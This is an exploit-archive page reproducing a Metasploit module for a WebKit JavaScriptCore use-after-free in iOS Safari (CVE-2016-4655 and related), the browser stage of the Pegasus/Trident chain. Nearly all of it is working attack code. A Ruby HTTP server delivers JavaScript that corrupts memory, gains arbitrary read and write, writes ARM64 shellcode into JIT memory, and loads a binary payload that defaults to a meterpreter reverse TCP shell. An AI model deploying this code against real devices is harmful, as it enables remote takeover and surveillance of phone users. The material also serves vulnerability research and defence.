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WebKit not_number defineProperties Use-After-Free

WebKit not_number defineProperties Use-After-Free
Posted Jun 4, 2018
Authored by timwr, qwertyoruiop, Siguza, tihmstar | Site metasploit.com

This Metasploit module exploits a use-after-free vulnerability in WebKit's JavaScriptCore library.

tags | exploit
advisories | CVE-2016-4655, CVE-2016-4656, CVE-2016-4657
MD5 | abdecc9782f078b615026a3d08e32a3d

WebKit not_number defineProperties Use-After-Free

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'WebKit not_number defineProperties UAF',
'Description' => %q{
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
},
'License' => MSF_LICENSE,
'Author' => [
'qwertyoruiop', # jbme.qwertyoruiop.com
'siguza', # PhoenixNonce
'tihmstar', # PhoenixNonce
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4655'],
['CVE', '2016-4656'],
['CVE', '2016-4657'],
['BID', '92651'],
['BID', '92652'],
['BID', '92653'],
['URL', 'https://blog.lookout.com/trident-pegasus'],
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
['URL', 'https://github.com/Siguza/PhoenixNonce'],
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
],
'Arch' => ARCH_AARCH64,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
])
end

def on_request_uri(cli, request)
print_status("Request from #{request['User-Agent']}")
if request.uri =~ %r{/loader$}
print_good("Target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
loader_data = File.read(local_file, {:mode => 'rb'})
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/exploit$}
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
loader_data = File.read(local_file, {:mode => 'rb'})
payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, payload_url.length] = payload_url
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
print_status("Sent exploit (#{loader_data.size} bytes)")
return
end
html = %Q^
<html>
<body>
<script>
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
return req.responseText;
}
var mem0 = 0;
var mem1 = 0;
var mem2 = 0;

function read4(addr) {
mem0[4] = addr;
var ret = mem2[0];
mem0[4] = mem1;
return ret;
}

function write4(addr, val) {
mem0[4] = addr;
mem2[0] = val;
mem0[4] = mem1;
}
filestream = load_binary_resource("exploit")
var shll = new Uint32Array(filestream.length / 4);
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
shll[i / 4] = word;
i += 4;
}
_dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var pressure = new Array(100);
var bufs = new Array(10000);
dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}

function swag() {
if (bufs[0]) return;
for (var i = 0; i < 4; i++) {
dgc();
}
for (i = 0; i < bufs.length; i++) {
bufs[i] = new Uint32Array(0x100 * 2)
for (k = 0; k < bufs[i].length;) {
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
}
var trycatch = "";
for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);
var fcp = 0;
var smsh = new Uint32Array(0x10)

function smashed(stl) {
document.body.innerHTML = "";
var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
write4(jitf, 0xd28024d0); //movz x16, 0x126
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
write4(jitf + 8, 0xd4001001); //svc 80
write4(jitf + 12, 0xd65f03c0); //ret
write4(jitf + 16, jitf + 0x20);
write4(jitf + 20, 1);
fc();
var dyncache = read4(jitf + 0x20);
var dyncachev = read4(jitf + 0x20);
var go = 1;
while (go) {
if (read4(dyncache) == 0xfeedfacf) {
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
{
go = 0;
break;
}
}
}
dyncache += 0x1000;
}
dyncache -= 0x1000;
var bss = [];
var bss_size = [];
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
bss_size.push(read4(dyncache + i * 4 + (0x28)));
}
}
var shc = jitf;
var filestream = load_binary_resource("loader")
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
write4(shc, word);
shc += 4;
i += 4;
}
jitf &= ~0x3FFF;
jitf += 0x8000;
write4(shc, jitf);
write4(shc + 4, 1);
// copy macho
for (var i = 0; i < shll.length; i++) {
write4(jitf + i * 4, shll[i]);
}
for (var i = 0; i < bss.length; i++) {
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
write4(bss[i] + k * 4, 0);
}
}
fc();
}

function go_() {
if (smsh.length != 0x10) {
smashed();
return;
}
dgc();
var arr = new Array(0x100);
var yolo = new ArrayBuffer(0x1000);
arr[0] = yolo;
arr[1] = 0x13371337;
var not_number = {};
not_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
swag();
return 10;
};
var props = {
p0: {
value: 0
},
p1: {
value: 1
},
p2: {
value: 2
},
p3: {
value: 3
},
p4: {
value: 4
},
p5: {
value: 5
},
p6: {
value: 6
},
p7: {
value: 7
},
p8: {
value: 8
},
length: {
value: not_number
},
stale: {
value: arr
},
after: {
value: 666
}
};
var target = [];
var stale = 0;
Object.defineProperties(target, props);
stale = target.stale;
stale[0] += 0x101;
stale[1] = {}
for (var z = 0; z < 0x1000; z++) fc();
for (i = 0; i < bufs.length; i++) {
for (k = 0; k < bufs[0].length; k++) {
if (bufs[i][k] == 0x41414242) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = {
'a': u2d(105, 0),
'b': u2d(0, 0),
'c': smsh,
'd': u2d(0x100, 0)
}
stale[1] = stale[0]
bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
bck = stale[0][4];
stale[0][4] = 0; // address, low 32 bits
// stale[0][5] = 1; // address, high 32 bits == 0x100000000
stale[0][6] = 0xffffffff;
mem0 = stale[0];
mem1 = bck;
mem2 = smsh;
bufs.push(stale)
if (smsh.length != 0x10) {
smashed(stale[0]);
}
return;
}
}
}
setTimeout(function() {
document.location.reload();
}, 2000);
}

dgc();
setTimeout(go_, 200);
</script>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

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